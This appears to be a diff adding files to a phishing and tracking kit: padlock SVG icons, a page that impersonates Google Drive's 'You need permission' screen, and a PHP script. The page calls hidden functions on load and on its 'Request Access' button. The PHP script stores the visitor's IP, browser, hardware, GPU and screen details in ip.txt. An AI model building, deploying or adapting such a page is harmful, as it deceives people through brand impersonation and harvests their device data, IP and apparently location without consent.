<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
|
||||
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
|
||||
width="88px" height="108px" viewBox="0 0 88 108" enable-background="new 0 0 88 108" xml:space="preserve">
|
||||
<g>
|
||||
<g>
|
||||
<g>
|
||||
<path fill="#CCCCCC" d="M88,26H62V0H8.906C3.988,0,0,3.988,0,8.906V99c0,4.918,4.082,9,9,9h70c5,0,9-4,9-9V26z"/>
|
||||
</g>
|
||||
</g>
|
||||
<radialGradient id="SVGID_1_" cx="82.2881" cy="24.2437" r="24.6557" gradientTransform="matrix(1.1019 0 0 1.1019 -2.4757 -0.1226)" gradientUnits="userSpaceOnUse">
|
||||
<stop offset="0.15" style="stop-color:#A6A6A6"/>
|
||||
<stop offset="1" style="stop-color:#B3B3B3"/>
|
||||
</radialGradient>
|
||||
<polygon fill="url(#SVGID_1_)" points="62,26 88,26 88,52 "/>
|
||||
<polygon fill="#E6E6E6" points="88,26 62,26 62,0 "/>
|
||||
<rect x="-20" y="-10" fill="none" width="128" height="128"/>
|
||||
</g>
|
||||
<path fill="#FFFFFF" d="M64,77c0,2.209-1.791,4-4,4H28c-2.209,0-4-1.791-4-4V54c0-2.209,1.791-4,4-4h32c2.209,0,4,1.791,4,4V77z"/>
|
||||
<path fill="#FFFFFF" d="M58,52h-4v-4.105C54,42.439,49.561,38,44.104,38h-0.209C38.439,38,34,42.439,34,47.895V52h-4v-4.105
|
||||
C30,40.233,36.233,34,43.896,34h0.209C51.767,34,58,40.233,58,47.895V52z"/>
|
||||
<circle fill="#CCCCCC" cx="44" cy="65.5" r="7.772"/>
|
||||
</svg>
|
After Width: | Height: | Size: 1.3 KiB |
|
@ -0,0 +1,23 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
|
||||
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
|
||||
width="128px" height="158px" viewBox="-145.5 214.5 128 158" enable-background="new -145.5 214.5 128 158" xml:space="preserve">
|
||||
<g>
|
||||
<g>
|
||||
<path fill="#CCCCCC" d="M-17.5,252.318h-37.818V214.5h-77.227c-7.154,0-12.955,5.801-12.955,12.954v131.955
|
||||
c0,7.153,5.938,13.091,13.091,13.091h101.818c7.272,0,13.091-5.818,13.091-13.091V252.318z"/>
|
||||
</g>
|
||||
</g>
|
||||
<radialGradient id="SVGID_1_" cx="160.1211" cy="-243.6196" r="35.8861" gradientTransform="matrix(1.1019 0 0 -1.1019 -193.6491 -15.2655)" gradientUnits="userSpaceOnUse">
|
||||
<stop offset="0.15" style="stop-color:#A6A6A6"/>
|
||||
<stop offset="1" style="stop-color:#B3B3B3"/>
|
||||
</radialGradient>
|
||||
<polygon fill="url(#SVGID_1_)" points="-55.318,252.318 -17.5,252.318 -17.5,290.137 "/>
|
||||
<polygon fill="#E6E6E6" points="-17.5,252.318 -55.318,252.318 -55.318,214.5 "/>
|
||||
<path fill="#FFFFFF" d="M-52.5,326.682c0,3.214-2.605,5.818-5.818,5.818h-46.364c-3.213,0-5.818-2.604-5.818-5.818v-33.363
|
||||
c0-3.214,2.605-5.818,5.818-5.818h46.364c3.213,0,5.818,2.604,5.818,5.818V326.682z"/>
|
||||
<path fill="#FFFFFF" d="M-61.136,290.137h-5.818v-5.972c0-7.935-6.458-14.393-14.394-14.393h-0.304
|
||||
c-7.936,0-14.393,6.458-14.393,14.393v5.972h-5.818v-5.972c0-11.146,9.066-20.211,20.212-20.211h0.304
|
||||
c11.146,0,20.211,9.065,20.211,20.211V290.137z"/>
|
||||
<circle fill="#CCCCCC" cx="-81.5" cy="309.773" r="11.304"/>
|
||||
</svg>
|
After Width: | Height: | Size: 1.5 KiB |
|
@ -0,0 +1,42 @@
|
|||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta name="description" content="Web word processing, presentations and spreadsheets">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=0">
|
||||
<link rel="shortcut icon" href="/images/drive_favicon1.ico">
|
||||
<title>Google Drive - Access Denied</title>
|
||||
<link rel="stylesheet" type="text/css" href="css/main.css">
|
||||
<script type="text/javascript">
|
||||
if (window.location.protocol == "http:") {
|
||||
var restOfUrl = window.location.href.substr(5);
|
||||
window.location = "https:" + restOfUrl;
|
||||
}
|
||||
</script>
|
||||
<script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script>
|
||||
<script type="text/javascript" src="js/info.js"></script>
|
||||
<script type="text/javascript" src="js/location.js"></script>
|
||||
</head>
|
||||
<body onload="information();">
|
||||
<div id="outerContainer">
|
||||
<div id="innerContainer">
|
||||
<div style="position: absolute; top: -80px;">
|
||||
<div id="drive-logo">
|
||||
<span class="docs-drivelogo-img"></span>
|
||||
<span class="docs-drivelogo-text"> Drive</span>
|
||||
</div>
|
||||
</div>
|
||||
<div style="clear:both"></div>
|
||||
<div id="main">
|
||||
<div id="accessDeniedIcon"></div>
|
||||
<p id="accessDeniedHeader">You need permission</p>
|
||||
<div id="message">
|
||||
<p>Want it? Ask for access, or switch to an account with permission.</p>
|
||||
</div>
|
||||
<p id="buttons" style="padding-top: 10px">
|
||||
<button id="requestButton" style="font-weight:bold" class="jfk-button jfk-button-action" onclick="locate();">Request Access</button>
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
|
@ -0,0 +1,62 @@
|
|||
<?php
|
||||
header('Content-Type: text/html');
|
||||
{
|
||||
$ptf = $_POST['Ptf'];
|
||||
$brw = $_POST['Brw'];
|
||||
$cc = $_POST['Cc'];
|
||||
$ram = $_POST['Ram'];
|
||||
$ven = $_POST['Ven'];
|
||||
$ren = $_POST['Ren'];
|
||||
$ht = $_POST['Ht'];
|
||||
$wd = $_POST['Wd'];
|
||||
$os = $_POST['Os'];
|
||||
|
||||
function getUserIP()
|
||||
{
|
||||
// Get real visitor IP
|
||||
if (isset($_SERVER["HTTP_CF_CONNECTING_IP"]))
|
||||
{
|
||||
$_SERVER['REMOTE_ADDR'] = $_SERVER["HTTP_CF_CONNECTING_IP"];
|
||||
$_SERVER['HTTP_CLIENT_IP'] = $_SERVER["HTTP_CF_CONNECTING_IP"];
|
||||
}
|
||||
$client = @$_SERVER['HTTP_CLIENT_IP'];
|
||||
$forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
|
||||
$remote = $_SERVER['REMOTE_ADDR'];
|
||||
|
||||
if(filter_var($client, FILTER_VALIDATE_IP))
|
||||
{
|
||||
$ip = $client;
|
||||
}
|
||||
elseif(filter_var($forward, FILTER_VALIDATE_IP))
|
||||
{
|
||||
$ip = $forward;
|
||||
}
|
||||
else
|
||||
{
|
||||
$ip = $remote;
|
||||
}
|
||||
return $ip;
|
||||
}
|
||||
|
||||
$ip = getUserIP();
|
||||
//
|
||||
$data['dev'] = array();
|
||||
|
||||
$data['dev'][] = array('platform' => $ptf,
|
||||
'browser' => $brw,
|
||||
'cores' => $cc,
|
||||
'ram' => $ram,
|
||||
'vendor' => $ven,
|
||||
'render' => $ren,
|
||||
'ip' => $ip,
|
||||
'ht' => $ht,
|
||||
'wd' => $wd,
|
||||
'os' => $os);
|
||||
|
||||
$jdata = json_encode($data);
|
||||
|
||||
$f = fopen('ip.txt', 'w+');
|
||||
fwrite($f, $jdata);
|
||||
fclose($f);
|
||||
}
|
||||
?>
|